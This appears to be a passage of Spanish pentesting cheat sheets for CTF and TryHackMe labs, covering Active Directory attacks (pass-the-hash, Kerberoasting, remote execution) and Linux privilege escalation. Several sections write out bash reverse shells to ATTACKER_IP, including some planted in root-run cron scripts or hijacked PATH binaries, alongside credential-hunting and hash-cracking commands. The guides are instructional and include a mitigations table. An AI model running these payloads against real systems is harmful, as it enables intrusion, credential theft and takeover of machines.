| grep --line-buffered -a "[+\\]|Pwn3d"
```

Probar una cuenta concreta

```
nxc smb $IP -u 'Administrator' -H '<NTLM_HASH>'
```

Con dominio:

```
nxc smb $IP -d "$DOMAIN" -u 'Administrator' -H '<NTLM_HASH>'
```

Con autenticación local:

```
nxc smb $IP --local-auth -u 'Administrator' -H '<NTLM_HASH>'
```

Lógica

No necesitas saber la contraseña en claro:

```
hash NTLM válido
→ autenticación NTLM
→ si la cuenta tiene privilegios
→ ejecución remota o acceso a shares administrativos
```

13. Ejecución remota Windows

Señal clave

Si NetExec muestra:

Pwn3d!

probablemente puedes ejecutar comandos.

Ejecutar comando simple con NetExec

```
nxc smb $IP -u "$USER" -p "$PASS" -x "whoami"
```

Con hash:

```
nxc smb $IP -u "$USER" -H '<NTLM_HASH>' -x "whoami"
```

Métodos de ejecución

```
nxc smb $IP -u "$USER" -p "$PASS" --exec-method smbexec -x "whoami"  
nxc smb $IP -u "$USER" -p "$PASS" --exec-method wmiexec -x "whoami"  
nxc smb $IP -u "$USER" -p "$PASS" --exec-method atexec -x "whoami"
```

Impacket psexec/smbexec/wmiexec

Password:

```
psexec.py "$DOMAIN/$USER:$PASS@$IP"  
smbexec.py "$DOMAIN/$USER:$PASS@$IP"  
wmiexec.py "$DOMAIN/$USER:$PASS@$IP"
```

Hash:

```
psexec.py "$DOMAIN/$USER@$IP" -hashes ':<NTLM_HASH>'  
smbexec.py "$DOMAIN/$USER@$IP" -hashes ':<NTLM_HASH>'  
wmiexec.py "$DOMAIN/$USER@$IP" -hashes ':<NTLM_HASH>'
```

Nombres alternativos según instalación:

```
impacket-psexec "$DOMAIN/$USER@$IP" -hashes ':<NTLM_HASH>'  
impacket-smbexec "$DOMAIN/$USER@$IP" -hashes ':<NTLM_HASH>'  
impacket-wmiexec "$DOMAIN/$USER@$IP" -hashes ':<NTLM_HASH>'
```

Evil-WinRM

Si WinRM está abierto y la cuenta tiene permisos:

```
evil-winrm -i $IP -u "$USER" -p "$PASS"  
evil-winrm -i $IP -u "$USER" -H '<NTLM_HASH>'
```

14. Privilege escalation local en Windows

Si consigues shell como usuario no privilegiado:

Info básica

```
whoami
whoami /priv
whoami /groups
hostname
ipconfig /all
systeminfo
net user
net localgroup administrators
```

Buscar flags

```
dir C:\Users\*\Desktop\*.txt /s /b
```

Buscar credenciales

```
dir C:\ /s /b | findstr /i "pass cred secret config backup .kdbx .xml .ini .txt"
```

Servicios

```
sc query
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
```

Tareas programadas

```
schtasks /query /fo LIST /v
```

Archivos interesantes

```
type C:\Users\<usuario>\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
```

15. Errores frecuentes y solución

nxc smb no muestra nada

Comprobar target y sintaxis:

```
echo $IP
nmap -Pn -n -p445 --reason $IP
nxc smb -h | head
```

Si 445 filtered/no-response, revisa IP/VPN/target.

nxc smb: error: target required

Probablemente \$IP está vacío.

```
echo "$IP"
export IP=<IP_CORRECTA>
```

--no-brute no existe

Tu versión usa:

```
--no-bruteforce
```

Comprueba:

```
nxc smb -h | grep brute
```

--rid no existe

Tu versión usa:

```
--rid-brute
```

Comprueba:

```
nxc smb -h | grep rid
```

impacket-GetUserSPNs: command not found

Prueba:

```
GetUserSPNs.py -h  
find / -iname "GetUserSPNs*" 2>/dev/null  
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -h
```

Instalar:

```
apt update  
apt install -y python3-impacket
```

Password con ! falla o se interpreta raro

Usa comillas simples:

```
nxc smb $IP -u user -p 'Password123!!'
```

Kerberos clock skew

```
sudo ntpdate -u $IP  
sudo sntp -sS $IP
```

Dominio incorrecto

Revisar:

```
nxc smb $IP  
nslookup $IP  
cat /etc/hosts
```

16. Workflow genérico completo

```
1. Nmap
|
|-- ¿Puertos AD? 53,88,389,445,3268,9389
v
2. Identificar dominio/DC
|
|-- Añadir /etc/hosts
v
3. SMB/LDAP/RPC anonymous o Guest
|
|-- Shares
|-- IPC$
|-- RPC
v
4. Enumerar usuarios
|
|-- RID brute-force
|-- LDAP
|-- enum4linux/rpcclient
v
5. Validar credenciales débiles
|
|-- usuario=contraseña
|-- password spraying controlado
|-- AS-REP roasting
v
6. Credencial válida
|
|-- Reenumerar SMB
|-- Reenumerar LDAP
|-- WinRM/RDP
|-- BloodHound
v
7. Kerberoasting / shares / SYSVOL / backups
|
|-- Crackear tickets
|-- Buscar configs/passwords/hashes
v
8. Nueva credencial o hash
|
|-- Reenumerar de nuevo
|-- Pass-the-Hash
|-- Pass-the-Ticket
v
9. Ejecución remota
|
|-- SMBExec/PsExec/WMIExec/WinRM
v
10. Admin/root flag
```

17. Chuleta rápida de comandos

Reconocimiento

```
export IP=<IP>
nmap -p- -Pn -n --min-rate 5000 $IP -oN nmap_all.txt
nmap -sC -sV -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,5986,9389 $IP
    -oN nmap_ad.txt
nxc smb $IP
```

Hosts

```
echo "$IP $DOMAIN $DC_FQDN $DC_HOST" | sudo tee -a /etc/hosts
```

SMB Guest/anonymous

```
smbclient -L //$IP -N
nxc smb $IP -u 'Guest' -p ''
nxc smb $IP -u 'Guest' -p '' --shares
```

RID brute-force

```
nxc smb $IP -u 'Guest' -p '' --rid-brute > rid_brute.txt
grep 'SidTypeUser' rid_brute.txt | sed -E 's/.*\\([^\ ]+) \(\(SidTypeUser\).*/\1/' | sort -u > users.txt
```

Usuario = contraseña

```
nxc smb $IP -u users.txt -p users.txt --no-bruteforce --continue-on-success 2>&1 | tee
auth_test.txt | grep --line-buffered -a "[+]\|Pwn3d"
```

Reenumerar con credenciales

```
export USER='<usuario>'
export PASS='<password>'
nxc smb $IP -u "$USER" -p "$PASS" --shares
nxc smb $IP -u "$USER" -p "$PASS" --users
nxc smb $IP -u "$USER" -p "$PASS" --groups
nxc smb $IP -u "$USER" -p "$PASS" --pass-pol
nxc ldap $IP -u "$USER" -p "$PASS" --users
```

SMB descargar archivos

```
smbclient //$IP/<SHARE> -U "$USER%$PASS"
```

Dentro:

```
ls
cd <dir>
get <file>
exit
```

Kerberoasting

```
GetUserSPNs.py $DOMAIN/$USER:$PASS -dc-ip $IP -request -outputfile kerberoast.txt
nxc ldap $IP -u "$USER" -p "$PASS" --kerberoasting kerberoast.txt
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
john kerberoast.txt --show
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
```

AS-REP Roasting

```
GetNPUsers.py $DOMAIN/ -dc-ip $IP -usersfile users.txt -no-pass -outputfile asrep.txt
john asrep.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

BloodHound

```
bloodhound-python -u "$USER" -p "$PASS" -d "$DOMAIN" -ns $IP -c All
```

Pass-the-Hash

```
cut -d ':' -f 1 dump.txt > extracted_users.txt
cut -d ':' -f 4 dump.txt > ntlm_hashes.txt
nxc smb $IP -u extracted_users.txt -H ntlm_hashes.txt --no-bruteforce --continue-on-success 2>&1 | tee pth_test.txt | grep --line-buffered -a "[+\\]\\Pwn3d"
```

Ejecución remota

```
nxc smb $IP -u "$USER" -p "$PASS" -x "whoami"
nxc smb $IP -u "$USER" -H '<NTLM_HASH>' -x "whoami"
psexec.py "$DOMAIN/$USER:$PASS@$IP"
psexec.py "$DOMAIN/$USER@$IP" -hashes ':<NTLM_HASH>'
wmiexec.py "$DOMAIN/$USER@$IP" -hashes ':<NTLM_HASH>'
smbexec.py "$DOMAIN/$USER@$IP" -hashes ':<NTLM_HASH>'
evil-winrm -i $IP -u "$USER" -p "$PASS"
evil-winrm -i $IP -u "$USER" -H '<NTLM_HASH>'
```

18. Mitigaciones clave

Problema	Mitigación
Guest/anonymous demasiado permisivo	Deshabilitar Guest, restringir anonymous/IPC\$
RID brute-force posible	Restringir enumeración anónima/RPC, monitorizar SAMR
Usuario=contraseña	Políticas de contraseña fuertes y bloqueo controlado
Password spraying	Lockout seguro, MFA, detección de intentos distribuidos
Kerberoasting	Contraseñas largas en cuentas de servicio, gMSA, AES, rotación
AS-REP roasting	Exigir preautenticación Kerberos
Shares con backups sensibles	Mínimo privilegio, cifrado, clasificación de datos
Hashes NTLM reutilizables	Reducir NTLM, Credential Guard, segmentación, LAPS/Windows LAPS
Exceso de privilegios locales	Mínimo privilegio, tiering administrativo, revisión de grupos locales
Rutas BloodHound peligrosas	Revisar ACLs, grupos, delegaciones y permisos heredados

19. Relación con certificación

Dominar este workflow ayuda en certificaciones porque entrena:

- identificación de entornos AD;
- enumeración SMB/LDAP/Kerberos;
- razonamiento por credenciales y permisos;
- Kerberoasting y AS-REP Roasting;
- lectura de shares y búsqueda de secretos;
- Pass-the-Hash;
- ejecución remota en Windows;
- interpretación de errores comunes;
- encadenamiento de malas configuraciones.

La idea más importante:

En Active Directory rara vez ganas por una sola vulnerabilidad. Normalmente ganas encadenando pequeñas debilidades: usuarios visibles + password débil + permisos excesivos + secretos expuestos + hashes reutilizables.

20. Fuentes usadas

- NetExec — Using Credentials: <https://www.netexec.wiki/getting-started/using-credentials>
- NetExec — SMB RID brute-force: <https://www.netexec.wiki/smb-protocol/enumeration/enumerate-users-by-bruteforcing-rid>
- NetExec — LDAP Kerberoasting: <https://www.netexec.wiki/ldap-protocol/kerberoasting>
- Impacket — GetUserSPNs.py: <https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py>
- Internal All The Things — Kerberoasting: <https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-roasting-kerberoasting/>

Guía práctica — Linux Privilege Escalation para THM / CTF

Fecha

2026-07-01

Objetivo

Guía reutilizable para saber **qué mirar después de conseguir una shell en Linux** y cómo detectar vectores de escalada de privilegios.

Está enfocada a laboratorios controlados tipo TryHackMe, CTFs y certificaciones prácticas.

1. Mentalidad general

Privilege escalation no va de lanzar comandos al azar. Va de responder estas preguntas:

- ¿Quién soy?
- ¿Qué permisos tengo?
- ¿Qué puedo leer?
- ¿Qué puedo escribir?
- ¿Qué puedo ejecutar como otro usuario?
- ¿Qué se ejecuta automáticamente?
- ¿Qué servicios corren como usuarios privilegiados?
- ¿Qué rutas, scripts o binarios puedo influir?
- ¿Qué credenciales puedo encontrar?
- ¿Qué configuraciones están mal hechas?

La regla general:

Si puedes modificar algo que otro usuario más privilegiado ejecuta, puedes convertirlo en escalada.

Ejemplos típicos:

Script editable + cron como root	-> root
Directorio editable + PATH inseguro	-> usuario superior
sudo NOPASSWD + binario GTF0Bins	-> root
SUID mal configurado	-> root
Credenciales en backup/config	-> otro usuario/root
Servicio systemd con ruta manipulable	-> usuario del servicio

2. Primeros pasos tras conseguir shell

2.1. Identidad básica

```
whoami
id
groups
hostname
pwd
echo $SHELL
echo $PATH
```

Qué mirar:

uid=0	-> ya eres root
sudo	-> revisar sudo -l
docker/lxd/lxc	-> posible escalada por contenedores
adm	-> lectura de logs
www-data	-> usuario web
backup/dev/ops/monitor	-> roles internos interesantes

2.2. Estabilizar TTY

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Después:

```
CTRL+Z
stty raw -echo; fg
export TERM=xterm
```

Alternativas:

```
python -c 'import pty; pty.spawn("/bin/bash")'
script -qc /bin/bash /dev/null
/bin/bash -i
/bin/sh -i
```

3. Enumeración del sistema

3.1. Sistema operativo y kernel

```
uname -a
cat /etc/os-release
cat /etc/issue
hostnamectl 2>/dev/null
```

arch

getconf LONG_BIT

Qué mirar:

Distribución

Versión de kernel

Arquitectura

Sistema muy antiguo

Posibles exploits de kernel, pero solo como último recurso

3.2. Usuarios interactivos

```
cat /etc/passwd
```

```
cat /etc/passwd | grep -E "/bin/bash|/bin/sh"
```

```
awk -F: '$7 ~ /bash|sh/' '{print $1, $6, $7}' /etc/passwd
```

Qué mirar:

Usuarios humanos

Usuarios de servicio

Home directories

Nombres tipo dev, backup, monitor, admin, deploy, ops

3.3. Homes

```
ls -la /home
```

```
find /home -maxdepth 2 -type f 2>/dev/null
```

```
find /home -maxdepth 2 -type d 2>/dev/null
```

Flags en CTF:

```
find /home -name "*flag*" -o -name "user.txt" 2>/dev/null
```

4. Sudo

4.1. Comando principal

```
sudo -l
```

Posibles hallazgos:

(root) NOPASSWD: /usr/bin/less

(root) NOPASSWD: /usr/bin/vim

(root) NOPASSWD: /usr/bin/find

(root) NOPASSWD: /usr/bin/python3

(root) NOPASSWD: /bin/bash

(otro_usuario) NOPASSWD: /ruta/script.sh

4.2. Si puedes ejecutar un binario como root

Ejemplo:

```
(root) NOPASSWD: /usr/bin/less
```

Buscar en GTFOBins:

```
less sudo GTFOBins
```

Ejemplo con less:

```
sudo less /etc/hosts
```

Dentro de less:

```
!/bin/sh
```

4.3. Si puedes ejecutar un script como otro usuario

Ejemplo:

```
(ops_user) NOPASSWD: /usr/local/bin/deploy.sh
```

Ejecutarlo correctamente:

```
sudo -u ops_user /usr/local/bin/deploy.sh
```

No asumir que vale esto:

```
sudo /usr/local/bin/deploy.sh
```

Revisar:

```
cat /usr/local/bin/deploy.sh
```

```
ls -la /usr/local/bin/deploy.sh
```

Preguntas clave:

- ¿El script llama a otro script?
- ¿Usa rutas relativas?
- ¿Usa comandos sin ruta absoluta?
- ¿Carga variables de entorno?
- ¿Usa archivos en directorios escribibles?
- ¿Puedo modificar algo que el script usa?

5. SUID, SGID y capabilities

5.1. Buscar SUID

```
find / -perm -4000 -type f -ls 2>/dev/null
```

5.2. Buscar SGID

```
find / -perm -2000 -type f -ls 2>/dev/null
```

5.3. Interpretación

SUID: el binario se ejecuta con permisos del propietario.

SGID: el binario se ejecuta con permisos del grupo propietario.

Si el propietario es `root`, revisar si el binario aparece en GTFOBins.

Binarios sospechosos:

```
bash
sh
find
vim
less
more
nano
cp
mv
tar
zip
python
perl
ruby
nmap
base64
env
awk
sed
```

Comandos útiles:

```
ls -la /ruta/binario
file /ruta/binario
strings /ruta/binario | head
```

5.4. Capabilities

```
getcap -r / 2>/dev/null
```

Capabilities peligrosas:

```
cap_setuid+ep
cap_setgid+ep
cap_dac_read_search+ep
cap_dac_override+ep
cap_sys_admin+ep
```

Ejemplo típico si Python tiene `cap_setuid`:

```
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

6. Archivos y directorios escribibles

6.1. Buscar archivos escribibles

```
find / -writable -type f 2>/dev/null | grep -vE "^/proc|^/sys|^/dev"
```

6.2. Buscar directorios escribibles

```
find / -writable -type d 2>/dev/null | grep -vE "^/proc|^/sys|^/dev|^/run"
```

6.3. Directorios importantes

```
/opt  
/usr/local/bin  
/var/www  
/var/backups  
/var/log  
/etc  
/home/usuario  
/tmp  
/dev/shm
```

6.4. Interpretación

Un archivo escribible es útil si:

- Lo ejecuta otro usuario
- Lo lee una app privilegiada
- Es una config sensible
- Está en una ruta usada por cron/systemd/sudo
- Contiene credenciales

Un directorio escribible es útil si:

- Está antes en el PATH
- Contiene scripts ejecutados por servicios
- Permite sustituir archivos
- Permite crear binarios falsos

7. Cron jobs y tareas programadas

7.1. Revisar cron

```
cat /etc/crontab
ls -la /etc/cron.d
ls -la /etc/cron.hourly
ls -la /etc/cron.daily
ls -la /etc/cron.weekly
ls -la /etc/cron.monthly
crontab -l 2>/dev/null
ls -la /var/spool/cron 2>/dev/null
ls -la /var/spool/cron/crontabs 2>/dev/null
```

7.2. Buscar scripts en cron

```
grep -R "sh|bash|python|perl|tar|cp|rsync" /etc/cron* 2>/dev/null
```

7.3. Qué mirar

Scripts ejecutados como root
Scripts en /opt
Scripts en /home
Scripts escribibles
Uso de comodines
Uso de rutas relativas
Uso de comandos sin ruta absoluta
PATH inseguro en crontab

7.4. Ejemplo vulnerable

```
* * * * * root /opt/backup/backup.sh
```

Si puedes modificar /opt/backup/backup.sh:

```
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup/backup.sh
```

Listener:

```
nc -lvnp 4444
```

8. pspy: procesos sin root

8.1. Cuándo usarlo

Usa pspy cuando:

No sabes qué se ejecuta automáticamente
Sospechas de cron pero no lo ves
Hay scripts en /opt
Hay servicios internos
Hay usuarios tipo backup/dev/monitor/ops

8.2. Transferir pspy

En atacante:

```
python3 -m http.server 8000
```

En víctima:

```
wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy64  
chmod +x /tmp/pspy64  
/tmp/pspy64
```

Si no hay wget:

```
curl http://ATTACKER_IP:8000/pspy64 -o /tmp/pspy64  
chmod +x /tmp/pspy64  
/tmp/pspy64
```

8.3. Qué buscar

```
CMD: UID=0  
CMD: UID=1001  
/usr/bin/bash /opt/script.sh  
/usr/local/bin/healthcheck  
tar  
cp  
rsync  
backup  
deploy  
cleanup
```

Regla:

Si pspy muestra un script ejecutado por otro UID,
comprueba si puedes modificar ese script o algo que use.

9. systemd services

9.1. Buscar servicios

```
ls -la /etc/systemd/system  
ls -la /lib/systemd/system
```

9.2. Buscar rutas interesantes

```
grep -R "/opt" /etc/systemd/system /lib/systemd/system 2>/dev/null
grep -R "/home" /etc/systemd/system /lib/systemd/system 2>/dev/null
grep -R "User=" /etc/systemd/system /lib/systemd/system 2>/dev/null
grep -R "ExecStart" /etc/systemd/system /lib/systemd/system 2>/dev/null
grep -R "Environment=" /etc/systemd/system /lib/systemd/system 2>/dev/null
grep -R "WorkingDirectory=" /etc/systemd/system /lib/systemd/system 2>/dev/null
```

9.3. Ver servicio concreto

```
cat /etc/systemd/system/nombre.service
```

Campos importantes:

```
User=
Group=
Environment=
ExecStart=
WorkingDirectory=
ExecReload=
ExecStop=
```

9.4. Qué mirar

- ¿Corre como root o como otro usuario?
- ¿ExecStart apunta a script escribible?
- ¿WorkingDirectory es escribible?
- ¿PATH incluye directorios controlables?
- ¿Usa rutas relativas?
- ¿Carga un EnvironmentFile modificable?

9.5. Ejemplo de PATH hijacking

Servicio vulnerable:

```
[Service]
User=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/bin
ExecStart=/usr/local/bin/healthcheck
```

Script vulnerable:

```
ps aux
```

Si puedes escribir en /opt/dev/bin:

```
cat > /opt/dev/bin/ps << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
```

```
EOF
```

```
chmod +x /opt/dev/bin/ps
```

Listener:

```
nc -l vnp 4444
```

10. PATH hijacking

10.1. Qué es

Ocurre cuando un script ejecutado por otro usuario llama a un comando sin ruta absoluta:

```
ps aux
tar -czf backup.tgz /home/user
cp file /backup
```

Y el PATH permite que el sistema busque primero en una carpeta controlada por ti.

10.2. Detectar PATH

```
echo $PATH
grep -R "PATH=" /etc /opt /usr/local/bin 2>/dev/null
```

10.3. Buscar comandos sin ruta absoluta

```
grep -R "ps\|tar\|cp\|mv\|find\|bash\|sh\|python\|rsync" /opt /usr/local/bin 2>/dev/null
```

10.4. Confirmar binarios

```
which ps
whereis ps
type ps
```

10.5. Explotación genérica

```
cat > /ruta/controlada/comando << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
```

```
chmod +x /ruta/controlada/comando
```

11. Scripts internos en /opt y /usr/local/bin

11.1. Listar scripts

```
find /opt -type f -ls 2>/dev/null
find /usr/local/bin -type f -ls 2>/dev/null
```

11.2. Buscar scripts escribibles

```
find /opt /usr/local/bin -writable -type f 2>/dev/null
```

11.3. Buscar referencias

```
grep -R "/opt" /etc/cron* /etc/systemd/system /lib/systemd/system 2>/dev/null
grep -R "/usr/local/bin" /etc/cron* /etc/systemd/system /lib/systemd/system 2>/dev/null
```

11.4. Preguntas clave

- ¿Quién ejecuta el script?
- ¿Con qué usuario?
- ¿Cada cuánto?
- ¿Puedo modificarlo?
- ¿Puedo modificar algún archivo que usa?
- ¿Usa rutas relativas?
- ¿Usa wildcards?
- ¿Usa PATH inseguro?
- ¿Llama a otros scripts?

12. Wildcard injection

12.1. Patrón vulnerable

Scripts que usan comodines:

```
tar *
chown *
chmod *
rsync *
```

12.2. Buscar patrones

```
grep -R "tar .*\*" /opt /usr/local/bin /etc/cron* 2>/dev/null
grep -R "chown .*\*" /opt /usr/local/bin /etc/cron* 2>/dev/null
grep -R "chmod .*\*" /opt /usr/local/bin /etc/cron* 2>/dev/null
```

Idea:

Si puedes crear archivos en el directorio donde se ejecuta el wildcard, puede que puedas influir en las opciones del comando.

13. Credenciales en archivos

13.1. Buscar palabras clave

```
grep -Ri "password" /home /opt /var/www 2>/dev/null
grep -Ri "passwd" /home /opt /var/www 2>/dev/null
grep -Ri "token" /home /opt /var/www 2>/dev/null
grep -Ri "secret" /home /opt /var/www 2>/dev/null
grep -Ri "key" /home /opt /var/www 2>/dev/null
```

Una búsqueda compacta:

```
grep -Ri "password\\|passwd\\|secret\\|token\\|key" /home /opt /var/www 2>/dev/null
```

13.2. Buscar configuraciones

```
find / -name "*.conf" 2>/dev/null
find / -name "*.config" 2>/dev/null
find / -name "*.ini" 2>/dev/null
find / -name "*.yaml" 2>/dev/null
find / -name "*.yml" 2>/dev/null
find / -name "*.json" 2>/dev/null
find / -name ".env" 2>/dev/null
```

13.3. Rutas típicas

```
/var/www/html
/var/www
/opt
/home/*/.ssh
/home/*/.bash_history
/home/*/.mysql_history
/home/*/.config
/etc
/var/backups
```

13.4. Backups

```
find / -name "*backup*" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*.old" 2>/dev/null
find / -name "*.tar" 2>/dev/null
```

```
find / -name "*.tar.gz" 2>/dev/null
find / -name "*.zip" 2>/dev/null
```

14. Historiales

```
cat ~/.bash_history 2>/dev/null
cat /home/*/.bash_history 2>/dev/null
cat ~/.mysql_history 2>/dev/null
cat ~/.python_history 2>/dev/null
cat ~/.psql_history 2>/dev/null
cat ~/.viminfo 2>/dev/null
```

Qué buscar:

Contraseñas escritas por error
Comandos sudo
Rutas internas
Usuarios
Tokens
ssh
scp
mysql -u user -pPASSWORD

15. SSH

15.1. Revisar claves

```
ls -la ~/.ssh 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/authorized_keys 2>/dev/null
find /home -name "id_rsa" -o -name "authorized_keys" 2>/dev/null
```

15.2. Usar una clave encontrada

En atacante:

```
chmod 600 id_rsa
ssh -i id_rsa usuario@TARGET_IP
```

15.3. Añadir clave en laboratorio

```
mkdir -p ~/.ssh
chmod 700 ~/.ssh
```

```
echo 'TU_CLAVE_PUBLICA' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
```

16. Procesos y puertos locales

16.1. Procesos

```
ps aux
ps auxww
ps -u root
ps -u usuario
```

Buscar:

```
ps aux | grep root
ps aux | grep python
ps aux | grep bash
ps aux | grep cron
ps aux | grep systemd
ps aux | grep apache
ps aux | grep nginx
```

Qué mirar:

- Procesos root con rutas en /opt
- Servicios web
- Scripts internos
- Comandos con credenciales en argumentos
- Tareas repetidas
- Procesos de backup/deploy/monitor

16.2. Puertos locales

```
ss -tulpn 2>/dev/null
ss -tuln
netstat -tulpn 2>/dev/null
```

Qué mirar:

- Servicios escuchando solo en 127.0.0.1
- Bases de datos locales
- APIs internas
- Redis, MySQL, PostgreSQL, MongoDB
- Servicios web internos

Probar:

```
curl http://127.0.0.1:PORT
```

17. Web local y bases de datos

17.1. Rutas web

```
ls -la /var/www
ls -la /var/www/html
find /var/www -type f 2>/dev/null
```

17.2. Credenciales web

```
grep -Ri "password\\|db_\\|mysql\\|secret\\|token" /var/www 2>/dev/null
```

Archivos típicos:

```
.env
config.php
settings.php
wp-config.php
database.php
config.json
docker-compose.yml
```

17.3. MySQL / MariaDB

```
mysql -u root -p
mysql -u usuario -p
mysql -u root
find / -name "my.cnf" 2>/dev/null
cat ~/.my.cnf 2>/dev/null
```

17.4. SQLite

```
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null
sqlite3 database.db
.tables
select * from users;
```

18. Docker, LXD, NFS

18.1. Grupos peligrosos

```
id
groups
```

Grupos interesantes:

```
docker
lxd
lxc
adm
sudo
```

Si perteneces a `docker` o `lxd`, revisar escalada por contenedores.

18.2. Docker

```
docker ps
docker images
```

18.3. LXD

```
lxc image list
lxc storage list
```

18.4. NFS

```
mount
cat /etc/fstab
cat /etc/exports 2>/dev/null
```

Qué mirar:

```
no_root_squash
shares escribibles
montajes con permisos débiles
```

19. Permisos sensibles de /etc

```
ls -la /etc/passwd
ls -la /etc/shadow
```

Normal:

```
/etc/passwd readable
/etc/shadow solo root
```

Peligroso:

```
/etc/passwd escribible
/etc/shadow legible por usuarios no privilegiados
```

Si `/etc/passwd` es escribible en un CTF, puede permitir crear un usuario con UID 0.

20. Librerías, binarios custom y variables de entorno

20.1. Binarios custom

```
find / -type f -perm -111 2>/dev/null | grep -E "/opt|usr/local|/home"
```

Revisar:

```
file /ruta/binario
strings /ruta/binario | less
ldd /ruta/binario
```

Qué mirar:

Rutas absolutas inexistentes
Librerías cargadas desde rutas escribibles
Comandos llamados con system()

20.2. Variables de entorno

```
env
printenv
echo $PATH
```

Variables interesantes:

PATH
LD_PRELOAD
LD_LIBRARY_PATH
PYTHONPATH
PERL5LIB
HOME
SHELL

En sudo -l, buscar:

```
env_keep+=LD_PRELOAD
env_keep+=LD_LIBRARY_PATH
```

21. Kernel exploits

Úsalos como último recurso.

Orden recomendado:

1. sudo
2. SUID/capabilities
3. cron/systemd
4. scripts escribibles
5. credenciales
6. grupos peligrosos
7. kernel exploit

Datos necesarios:

```
uname -a
cat /etc/os-release
gcc --version 2>/dev/null
which gcc
which cc
```

Cuidado:

Puede crashear la máquina
Puede no ser el camino previsto
Puede requerir compilación
Puede ser inestable

22. Herramientas automáticas

22.1. LinPEAS

```
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.out
```

Si la víctima no tiene Internet:

Atacante:

```
python3 -m http.server 8000
```

Víctima:

```
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.out
```

22.2. pspy

```
wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
```

22.3. Regla importante

Las herramientas automáticas ayudan,
pero no sustituyen entender qué usuario ejecuta qué,
qué archivo puedes modificar y qué permisos hay.

23. Checklist de 10 minutos

Si estás atascado, ejecuta esto en orden:

```
whoami; id; groups; hostname; pwd; echo $PATH
sudo -l
find / -perm -4000 -type f -ls 2>/dev/null
getcap -r / 2>/dev/null
find / -writable -type f 2>/dev/null | grep -vE "^/proc|^/sys|^/dev"
find / -writable -type d 2>/dev/null | grep -vE "^/proc|^/sys|^/dev|^/run"
ls -la /opt
find /opt -type f -ls 2>/dev/null
find /usr/local/bin -type f -ls 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.d
grep -R "ExecStart\\|User=\\|Environment=\\|WorkingDirectory=" /etc/systemd/system /lib/systemd/system
grep -Ri "password\\|passwd\\|secret\\|token\\|key" /home /opt /var/www 2>/dev/null
ps auxww
```

Si sigues sin ver nada:

```
./linpeas.sh | tee linpeas.out
/tmp/pspy64
```

24. Checklist por tipo de usuario

24.1. Si eres www-data

Prioridad:

- Credenciales web
- Configs de base de datos
- Archivos subidos
- Permisos en /var/www

Sudo raro
Cron que use archivos web

Comandos:

```
whoami
id
ls -la /var/www
find /var/www -type f 2>/dev/null
grep -Ri "password\|db_\|secret\|token" /var/www 2>/dev/null
sudo -l
```

24.2. Si eres usuario normal

Prioridad:

sudo -l
SUID
Credenciales en home
Historiales
Permisos de grupo
Scripts en /opt

Comandos:

```
sudo -l
find / -perm -4000 -type f -ls 2>/dev/null
cat ~/.bash_history 2>/dev/null
find /home/$USER -type f -ls 2>/dev/null
ls -la /opt
```

24.3. Si eres dev_user

Prioridad:

/opt/dev
/usr/local/bin
systemd services
PATH hijacking
scripts internos
repositorios
claves

Comandos:

```
ls -la /opt
find /opt -type f -ls 2>/dev/null
find /opt -writable -type f 2>/dev/null
find /opt -writable -type d 2>/dev/null
```

```
grep -R "/opt/dev" /etc/systemd/system /lib/systemd/system /etc/cron* 2>/dev/null
grep -R "PATH=" /etc/systemd/system /lib/systemd/system 2>/dev/null
```

24.4. Si eres monitor_user

Prioridad:

```
sudo -l
scripts deploy/backup/healthcheck
logs legibles
servicios internos
```

Comandos:

```
sudo -l
find /opt -type f -ls 2>/dev/null
find /usr/local/bin -type f -ls 2>/dev/null
grep -R "deploy\|backup\|monitor\|health" /opt /usr/local/bin /etc 2>/dev/null
```

24.5. Si eres ops_user

Prioridad:

```
sudo -l
binarios GTF0Bins
scripts operativos
permisos sobre servicios
backups
```

Comandos:

```
sudo -l
find / -perm -4000 -type f -ls 2>/dev/null
find /opt /usr/local/bin -type f -ls 2>/dev/null
```

25. Patrones frecuentes

25.1. Script escribible ejecutado por otro usuario

Tú puedes escribir /opt/script.sh
root ejecuta /opt/script.sh

Payload:

```
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/script.sh
```

25.2. Script no escribible, pero helper escribible

Wrapper:

```
cd /opt/app
./deploy_helper.sh
```

Si puedes escribir `/opt/app/deploy_helper.sh`, puedes ejecutar como el usuario que lanza el wrapper.

25.3. PATH hijacking

Servicio corre como usuario superior
PATH incluye carpeta escribible
Script llama a comando sin ruta absoluta

25.4. sudo con binario peligroso

Si `sudo -l` muestra:

```
less
vim
find
python
bash
tar
zip
env
```

Buscar en GTFOBins.

25.5. Credenciales reutilizadas

Si encuentras contraseña:

```
su usuario
sudo -l
ssh usuario@TARGET_IP
```

26. Reverse shells útiles

26.1. Bash

```
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
```

